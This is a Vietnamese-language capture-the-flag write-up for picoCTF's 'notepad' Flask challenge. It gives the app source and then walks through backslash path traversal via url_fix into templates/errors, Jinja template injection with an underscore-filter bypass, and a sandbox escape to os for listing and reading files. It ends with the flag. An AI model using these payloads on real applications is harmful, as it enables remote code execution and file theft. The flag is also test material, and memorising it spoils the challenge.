**notepad**

Mã nguồn ứng dụng được đính kèm:

app.py

from werkzeug.urls import url\_fix

from secrets import token\_urlsafe

from flask import Flask, request, render\_template, redirect, url\_for

app = Flask(\_\_name\_\_)

@app.route("/")

def index():

return render\_template("index.html", error=request.args.get("error"))

@app.route("/new", methods=["POST"])

def create():

content = request.form.get("content", "")

if "\_" in content or "/" in content:

return redirect(url\_for("index", error="bad\_content"))

if len(content) > 512:

return redirect(url\_for("index", error="long\_content", len=len(content)))

name = f"static/{url\_fix(content[:128])}-{token\_urlsafe(8)}.html"

with open(name, "w") as f:

f.write(content)

return redirect(name)

Dockerfile

FROM python:3.9.2-slim-buster

RUN pip install flask gunicorn --no-cache-dir

WORKDIR /app

COPY app.py flag.txt ./

COPY templates templates

RUN mkdir /app/static && \

chmod -R 775 . && \

chmod 1773 static templates/errors && \

mv flag.txt flag-$(cat /proc/sys/kernel/random/uuid).txt

CMD ["gunicorn", "-w16", "-t5", "--graceful-timeout", "0", "-unobody", "-gnogroup", "-b0.0.0.0", "app:app"]

templates/index.html

<!doctype html>

{% if error is not none %}

<h3>

error: {{ error }}

</h3>

{% include "errors/" + error + ".html" ignore missing %}

{% endif %}

<h2>make a new note</h2>

<form action="/new" method="POST">

<textarea name="content"></textarea>

<input type="submit">

</form>

templates/errors/bad\_content.html

the note contained invalid characters

templates/errors/long\_content.html

your note (length {{ request.args.get("len") }}) was larger than the maximum (512)

**Solution**

Chúng ta truy cập trang web và nhận được ứng dụng viết note. Sau khi gửi note, nội dung ghi chú sẽ được lưu vào 1 tập tin trên máy chủ và chúng ta có thể truy cập nó và xem ghi chú.

Ví dụ, nếu chúng ta gửi “test”, chúng ta được chuyển hướng đến url https:// notepad.mars.picoctf.net/static/test-gDpEQjbSwSQ.html, chứa ghi chú của chúng ta: “test”. Url bao gồm 128 kí tự đầu tiên của ghi chú, nối với dấu gạch ngang và sau đó là 1 chuỗi ngẫu nhiên. Tập tin được lưu dưới định dạng html trong thư mục static.

Xem xét lại code, chúng ta biết chúng ta có thể thay đổi địa chỉ mà ghi chú được ghi đến vì chúng ta kiểm soát nội dung:

f"static/{url\_fix(content[:128])}-{token\_urlsafe(8)}.html"

Ví dụ, nếu chúng ta nhập 1 đường dẫn chứa / vào trong 128 kí tự đầu tiên của ghi chú, chúng ta có thể thay đổi thư mục mà tập tin được ghi vào. Tuy nhiên, ứng dụng đã kiểm tra điều này sớm hơn:

if "\_" in content or "/" in content:

return redirect(url\_for("index", error="bad\_content"))

Mặc dù ứng dụng đã xử lý content[:128] để nó không bị sử dụng giống với đường dẫn nhưng nó lại được chuyển đến werkzeug.urls.url\_fix:

Hàm url\_fix(s: str, charset: str="utf-8") -> str:

Đôi khi bạn nhận được 1 url từ người dùng nhưng đó không phải là url thực vì nó chứa các ký tự không an toàn như ' ', vv. Hàm này có thể sửa một số vấn đề theo cách tương tự như trình duyệt xử lí dữ liệu được nhập bởi người dùng:

>>> url\_fix('http://de.wikipedia.org/wiki/Elf (Begriffskl\xe4rung)')

'http://de.wikipedia.org/wiki/Elf%20(Begriffskl%C3%A4rung)'

:param s: the string with the URL to fix.

:param charset: The target charset for the URL if the url was given

as a string.

Bước đầu tiên là chuyển sang xử lí văn bản và chuyển đổi backslashes (dù sao cũng không hợp lệ trong url) thành slashes. Điều này nhất quán với những gì Chrome làm.

s = \_to\_str(s, charset, "replace").replace("\\", "/")

May mắn cho chúng ta, bước đầu tiên của hàm này là chuyển sang xử lí văn bản và chuyển đổi backslashes thành slashes. Vì vậy, chúng ta có thể sử dụng điều này để bỏ qua kiểm tra slash và ghi 1 thư mục khác.

Chúng ta nên ghi ở đâu? Một nơi rất quan trọng để ghi 1 tập tin là templates/errors. Sau đó, chúng ta có thể sử dụng logic sau để đưa tệp mà chúng ta đã ghi vào làm 1 phần của template, bằng cách khai thác:

{% if error is not none %}

<h3>

error: {{ error }}

</h3>

{% include "errors/" + error + ".html" ignore missing %}

{% endif %}

Hãy thử qui trình này 1 cách thủ công và sau đó tự động nó:

Chúng ta sẽ gửi ghi chú sau:

..\templates\errors\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabcdefg

This is a test

Chúng ta sử dụng 128 kí tự đầu tiên để kiểm soát nơi ghi chú được ghi vào. Chúng ta muốn nó được ghi vào /templates/errors và lắp đầy phần còn lại của 128 kí tự để mà payload của chúng ta (This is a test) không bị trộn lẫn với tên của tập tin.

Sau khi gửi ghi chú, chúng ta được chuyển hướng đến https://notepad.mars.picoctf.net/templates/errors/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabcdefg-fY1TxE2Zt-M.html. Vì vậy chúng ta có tập tin html sau:



Chúng ta có thể thấy payload được include trong tập tin html.

Vì payload của chúng ta được hiểu là Flask template, chúng ta có thể tiêm template sau:

..\templates\errors\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabcdefg

{{7\*7}}

🡪49

Chúng ta sẽ dùng nó để thực thi Python Sandbox escape để RCE. Đầu tiên, chúng ta cần truy cập \_\_class\_\_ của một số đối tượng Python. Tuy nhiên chúng ta không thể dùng:

{{request.\_\_class\_\_}}

Vì dấu gạch dưới bị chặn:

if "\_" in content or "/" in content:

return redirect(url\_for("index", error="bad\_content"))

Mình sẽ dùng tham số để khai thác: .\_\_class\_\_ ⬄ ["\_\_class\_\_"]; request.args.param=""

Thay vì dùng request.\_\_class\_\_, chúng ta sẽ dùng request[request.args.param1] và gửi param1=\_\_class\_\_

{{request[request.args.param1]}} param1=\_\_class\_\_

🡪<class 'flask.wrappers.Request'>

Chúng ta tiếp tục:

{{request[request.args.param1][request.args.param2][-1]}} param1=\_\_class\_\_&param2=\_\_mro\_\_

🡪<class 'object'>

{{request[request.args.param1][request.args.param2][-1][request.args.param3]()}}

param1=\_\_class\_\_&param2=\_\_mro\_\_&param3=\_\_subclasses\_\_

[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>]

Bạn có thể tìm class subprocess.Popen để thực thi shell. Trong bài này mình dùng class warnings.catch\_warnings

{{request[request.args.param1][request.args.param2][11][request.args.param3]()[183]}}

param1=\_\_class\_\_&param2=\_\_mro\_\_&param3=\_\_subclasses\_\_

🡪<class 'warnings.catch\_warnings'>

{{request[request.args.p1][request.args.p2][11][request.args.p3]()[183]()[request.args.p4][request.args.p5][request.args.p6]('os').listdir('.')}} p1=\_\_class\_\_&p2=\_\_mro\_\_&p3=\_\_subclasses\_\_&p4=\_module&p5=\_\_builtins\_\_&p6=\_\_import\_\_

['templates', 'static', 'flag-c8f5526c-4122-4578-96de-d7dd27193798.txt', 'app.py']

{{request[request.args.p1][request.args.p2][11][request.args.p3]()[183]()[request.args.p4][request.args.p5]['open']('flag-c8f5526c-4122-4578-96de-d7dd27193798.txt').read()}}

**Flag: picoCTF{styl1ng\_susp1c10usly\_s1m1l4r\_t0\_p4steb1n}**